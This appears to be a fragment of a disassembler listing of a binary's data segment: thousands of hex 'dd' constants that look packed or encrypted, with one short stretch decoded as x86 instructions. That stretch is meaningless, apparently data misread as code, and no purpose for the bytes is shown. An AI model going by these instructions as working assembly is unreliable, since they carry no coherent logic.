		dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h
		dd 83F2B900h, 2743EC7h,	822F0087h, 2757E181h, 0D900C958h
		dd 0C13BE440h, 1F7726h,	0DD021D6Eh, 0FA18D2CBh,	0BA965307h
		dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h,	0BA754F81h
		dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h,	0F2530094h
		dd 825A5B1h, 970E68B8h,	5E195DEDh, 78CB0E00h, 387225Ah
		dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h
		dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh
		dd 6BC572h, 0C45B18A1h,	58A5DA88h, 95846007h, 0FC0010C6h
		dd 800203h, 0F3E4E938h,	11C9798h, 0C23A8300h, 0C7405674h
		dd 4A9300D4h, 4C35B20h,	48000D7Bh, 0DB2A5E52h, 17A95AAh
		dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h
		dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh
		dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h,	3FF45174h
		dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h,	0F5F20195h
		dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh,	3E9A776h
		dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h
		dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h,	6F936400h
		dd 6D37803h, 20050055h,	2608A11Bh, 44006209h, 9811B34Ch
		dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h
		dd 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h,	0E8170509h
		dd 7AD95F7h, 804893D8h,	875C05Dh, 141FCCD3h, 6C02CA3h
		dd 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h
		dd 79E3184h, 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h
		dd 9D607700h, 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h
		dd 20309FAEh, 42A9A824h, 0FF011E53h, 5780405Bh,	6F646E69h
		dd 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h
		dd 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h
		dd 4E433C69h, 33F80154h, 7542252Eh, 344E7095h, 8057900h
		dd 2306A32h, 58700060h,	10258050h, 4C00FCBFh, 0C9987ECBh
		dd 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h
		dd 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh
		dd 0CAFF50D3h, 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh
		dd 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h
		dd 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h, 6BAD48ACh
		dd 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h, 0A93CEF2h
		dd 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh, 0A9441DB9h
		dd 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h, 7A75251Ch
		dd 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h, 22AF4500h
		dd 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h,	5700A975h
		dd 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h
		dd 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah,	3100A521h
		dd 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h, 2153CCA5h
		dd 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h, 2A000FE6h
		dd 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h, 0A030E0Dh
		dd 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h,	85055729h
		dd 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h, 2C81DCD4h
		dd 0A67C3D00h, 41B5A9Ch, 0B3980A34h, 1CFEB05h
		db 78h
byte_505345	db 0F8h, 79h, 0FCh	; DATA XREF: seg002:off_4507F0o
					; seg002:off_4507F8o ...
; ---------------------------------------------------------------------------
		mov	edx, 3EB785ECh
		inc	esp
		and	ecx, [esi+5203A358h]
		add	[edx], ah
		push	ebp
		or	cl, [esi+66h]
		jle	short loc_505379
		inc	ecx
		adc	edx, [eax]
		mov	dword ptr [ebx-67h], 2806B027h
		jmp	short loc_5053A4
; ---------------------------------------------------------------------------
		dd 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh
		db 5Ah
byte_505375	db 0BEh, 83h, 0C1h	; CODE XREF: .data:005053C4j
		db 26h
; ---------------------------------------------------------------------------


loc_505379:				; CODE XREF: .data:0050535Aj
		mov	bl, 6
		mov	ds:0C307C822h, eax
		jb	short loc_5053A0
		sbb	al, 8
		jecxz	short loc_5053A0
		or	byte ptr [ecx],	0E2h
		push	ss
		xchg	eax, esi
		mov	eax, 0E4B000Dh
		push	es
		jz	short near ptr loc_5053CA+1
		sal	byte ptr [ebx+2E8390Ah], 1
		add	[ebx], cl
		xchg	eax, ecx
		and	esp, [edx+7Ah]
		lodsb


loc_5053A0:				; CODE XREF: .data:00505380j
					; .data:00505384j
		push	edi
		dec	esp
		stc
		dec	ebp


loc_5053A4:				; CODE XREF: .data:00505366j
		add	[ecx+eax+42h], al
		movsd
		or	al, 92h
		inc	ecx
		add	[edi-9F4B28h], bh
		adc	eax, 1C4C28EBh
		adc	[ebx-3Fh], ebx
		pop	ebx
		test	[ecx+0D7F0E0h],	ecx
		pop	esi
		pushf
		stosb
		jnz	short near ptr byte_505375
		push	esp
		adc	cl, [edi]
		dec	esp


loc_5053CA:				; CODE XREF: .data:00505391j
		or	[eax+1F1C800h],	esp
		add	dh, [edx]
		call	near ptr 0BF15426h
; ---------------------------------------------------------------------------
		db 0FEh
		dd 287C0A6Ah, 5E49002Fh, 92981062h, 972F7908h, 9E74AFh
		dd 3D024429h, 0E3B9D90h, 0EB0726EAh, 4719CC01h,	74C0315Ah
		dd 458A006Ah, 16033CFAh, 66002875h, 0BA4B6EA9h,	80FFC3h
		dd 0FA410A86h, 0F6434825h, 83D84D00h, 8CE02E0h,	1D9A24F8h
		dd 0BA3F0033h, 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h
		dd 7DA91A7Ch, 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h
		dd 5BB9827Eh, 0FC0ADE64h, 20005077h, 34BA8CF1h,	3A4FB80Bh
		dd 5700D102h, 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h
		dd 0BA008F01h, 94157C57h, 17780A87h, 0F2009077h, 1252988Eh
		dd 9C2C39h, 0FE3ED711h,	0F7934ACBh, 0B220400h, 64F840BFh
		dd 0FD820375h, 9C917F70h, 533E2F90h, 74739F00h,	435C6D81h
		dd 0C7720075h, 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh
		dd 0AE4F0793h, 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h
		dd 52450F1Bh, 26410656h, 0E84CEC3Ch, 4D7A4E41h,	0AF284B00h
		dd 0FF2E102Dh, 1AEE224h, 308298E9h, 0C83A41B0h,	4799B0Dh
		dd 407F7700h, 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h
		dd 0AF640345h, 481B08h,	224B9133h, 0C87B4363h, 0E178AE78h
		dd 0B2F63Ah, 11E40D27h,	0F15E084h, 0E93520FBh, 155A040h
		dd 8300F818h, 8A0EF3E1h, 3E7630ECh, 0B207F053h,	709217F4h
		dd 0F8347B59h, 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h
		dd 3BC5600Eh, 649D9298h, 0F00767E2h, 4654FC08h,	8E31E250h
		dd 65F27Eh, 0A11CEBD8h,	4E1F0415h, 4FC4B803h, 0B937036Ch
		dd 6E30F9B0h, 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h
		dd 806477h, 0C3695399h,	226F0991h, 8B447D1Eh, 12A789C0h
		dd 0C82CB5h, 0ED46BBAh,	5B9FEDD9h, 0A21D3700h, 0E0D5E230h
		dd 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h
		dd 6F9B014Ah, 57B42C33h, 6B72D813h, 61A20900h, 74797D92h
		dd 9F833E49h, 64F7600h,	41B10CBCh, 61FC6400h, 65633B6Eh
		dd 19200029h, 503CDEA7h, 0E4FF6D6Fh, 64004515h,	0B84F3D69h
		dd 0D0E4ACh, 736566D3h,	612D8AE3h, 0C4186C00h, 0CE444D11h
		dd 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh
		dd 0B864CBE3h, 90940975h, 0E2320AF1h, 7CDCDE5h,	20BB3976h
		dd 0B70F4540h, 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch
		dd 99D7841Dh, 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h
		dd 0DB849B0Fh, 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch
		dd 0C0A7B245h, 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h
		dd 2A88FC95h, 3C5C4887h, 45542100h, 0F509764Dh,	4F26B600h
		dd 8FEED912h, 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh
		dd 0FB3D421h, 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh
		dd 79FF3600h, 0D35DF2E9h, 530B018Ch, 974C4450h,	0F07D21D5h
		dd 2201B964h, 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh
		dd 757BFE3Bh, 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h
		dd 94F7FA3h, 0A804BCEh,	0F00988Eh, 4388C094h, 4E750161h
		dd 57D874D3h, 0ABC300AEh, 0AB06933h, 5C1D5116h,	0B840A7F2h
		dd 3B534108h, 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h
		dd 0E0DEC312h, 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch,	5DFEADh
		dd 42409723h, 31C2008Ah, 0EB18F98Bh, 270F3A10h,	0C0097221h
		dd 805703D5h, 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h
		dd 1398C44Ch, 3047D83h,	5570C09Bh, 0D0E70EC8h, 12BC62B8h
		dd 0CAD95200h, 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h
		dd 0F601AF27h, 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h
		dd 0C01BD890h, 38840800h, 2761012h, 56E90009h, 33557EA5h
		dd 6E1C8B78h, 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h
		dd 0F500E9BAh, 18EC0C99h, 12A95A8h, 0AC0E495Fh,	0D8727D81h
		dd 0FD007F63h, 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h
		dd 8CB8E88Ah, 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh
		dd 24A7FA5Ah, 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h
		dd 0E52DF454h, 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h
		dd 65DF7201h, 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h
		dd 7322E2E6h, 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h
		dd 0F202131Eh, 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h
		dd 7A5699F1h, 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h
		dd 0CC8F85F9h, 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h
		dd 0BEF93C48h, 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h
		dd 7D8324C0h, 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h
		dd 99C62B5Bh, 0C2750033h, 32F546E5h, 97008F22h,	2CC86692h
		dd 3D81D140h, 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h
		dd 8345A0EAh, 0B4B80A62h, 81AE1Eh, 6461C8BCh, 0DC009877h
		dd 0CDC003EDh, 6280F0h,	31E075EEh, 7C7E06FAh, 3EE66D58h
		dd 30AA0044h, 8D985EE6h, 18890235h, 5808050Bh, 810972C0h
		dd 0DB033Fh, 8F8B9B1Ch,	4BC32Bh, 2A299671h, 621A40FFh
		dd 50845500h, 0D009A40Ch, 4CE208h, 2F58E830h, 71B64F69h
		dd 0CAB03C00h, 20C463E9h, 94BC2441h, 0F61E3Ah, 8B28BB3Ah
		dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h
		dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh,	0EA52BA68h
		dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h
		dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h,	89560009h
		dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h
		dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh,	850F240Bh
		dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah
		dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch
		dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh
		dd 8E00D509h, 14550E9h,	0FA1833FDh, 25F822h, 367B8D05h
		dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h
		dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h,	57038171h
		dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh,	0CEE4B898h
		dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h,	97D45942h
		dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h
		dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h
		dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h
		dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh
		dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh,	0B7C4A28Ch
		dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h,	4D4BFCB8h
		dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah
		dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh,	4C00210Eh
		dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh
		dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h
		dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh
		dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h
		dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh
		dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h
		dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h
		dd 0B6B2BE1Ch, 6D90B56Eh
		dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
		dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
		dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
		dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
		dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
		dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
		dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h,	0B01E005Ch
		dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
		dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
		dd 479430Bh, 4CCA7831h,	2000E698h, 76324D58h, 0EE476113h
		dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
		dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
		dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h,	3000540h
		dd 8788021h, 0E8F0110h,	0EAA90750h, 0FE09BBC1h,	0E9D260CAh
		dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h,	0C0219829h
		dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
		dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
		dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h,	88649002h
		dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
		dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
		dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h,	8AE04B2Dh
		dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h,	0F124E50Bh
		dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
		dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
		dd 76968CBh, 587F8470h,	0C3E4435Ch, 6007E8C3h, 0EC100146h
		dd 6404B290h, 0F0F251h,	725411D8h, 736E6103h, 74656D00h
		dd 437C19B6h, 775727Bh,	0DC34916Fh, 54CC429Dh, 8AABD540h
		dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h,	0C627018Eh
		dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
		dd 3641378h, 45287C14h,	780521Fh, 0DC008496h, 0E8C0C68Fh
		dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h,	218068DBh
		dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
		dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
		dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh,	331F8471h
		dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h,	30451ABh
		dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
		dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
		dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh
		dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
		dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
		dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
		dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
		dd 30B62A12h, 1A93867h,	59510A0Fh, 658FA0B8h, 1C1745FEh
		dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
		dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
		dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
		dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
		dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
		dd 4B829AEh, 2B641F03h,	0B6AB8072h, 0BEE8BA08h,	0C3CDCFBh
		dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah,	4C331E45h
		dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh,	4301B738h
		dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
		dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
		dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h,	0B7280016h
		dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h,	0FC7540h
		dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
		dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
		dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
		dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h,	73B30A2h
		dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
		dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh,	1184A1Bh
		dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
		dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h,	5054A4C4h
		dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
		dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
		dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
		dd 1100B26h, 3D801499h,	2AE15B18h, 0A4EFB0h, 98CE92BFh
		dd 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh
		dd 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h,	0BEE85C10h
		dd 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h,	0EB00883Ch
		dd 5C61976h, 2601E7A0h,	0FA96DE5h, 4321DFA4h, 0D15B20A8h
		dd 0E152D1ACh, 4249E0B0h, 0E65B800h, 391048BCh,	0CC00059h
		dd 0C4908529h, 156719C8h, 54F02006h, 722CCh, 3209D081h
		dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h
		dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h,	0D27E9564h
		dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh
		dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h,	5C1A0102h
		dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h
		dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h
		dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h
		dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h,	80FD0001h
		dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h,	40C683D1h
		dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh,	580203F5h
		dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh,	0EF07A4Ah
		dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h,	8833022Bh
		dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h
		dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h,	1D2A38D2h
		dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h
		dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh
		dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h,	0DDEBBD51h
		dd 703AC70h, 44BCCCF7h,	78E6304Bh, 11007F6Fh, 64DFCEE9h
		dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh
		dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h
		dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h
		dd 6A9488F3h, 0ABCF4Fh,	54801B6Ch, 7765AD7Bh, 31C56800h
		dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh
		dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah
		dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h
		dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah,	2224CA1Dh
		dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h
		dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch
		dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h,	0D34E7909h
		dd 8064523Fh, 2BD01884h
		dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h,	0E0D8A5BBh
		dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh,	0ACBC00F4h
		dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
		dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
		dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
		dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh,	0C8F72873h
		dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
		dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
		dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh,	40B36965h
		dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
		dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
		dd 31A1866h, 88104619h,	0C8064301h, 1890141Bh, 2E9104E0h
		dd 73A381Ch, 50AE961Ah,	0D27CB865h, 29339F00h, 13AB9C4Ah
		dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
		dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
		dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
		dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
		dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h,	0F188A18Bh
		dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
		dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
		dd 38A473h, 0C29887E9h,	145A52E6h, 369FB40Eh, 0BF2B0Fh
		dd 8E1F3EACh, 471000Bh,	0FD27CCFEh, 5F01AF12h, 38EA1CD1h
		dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
		dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
		dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh,	0A5D4459Fh
		dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
		dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
		dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
		dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h,	686C6Ah
		dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
		dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h,	0CE090C9Ch
		dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
		dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h,	2E1977D0h
		dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
		dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h,	2E10033h
		dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
		dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
		dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
		dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
		dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h,	0B95E882Fh
		dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
		dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
		dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
		dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
		dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
		dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
		dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
		dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h,	0BE0092ADh
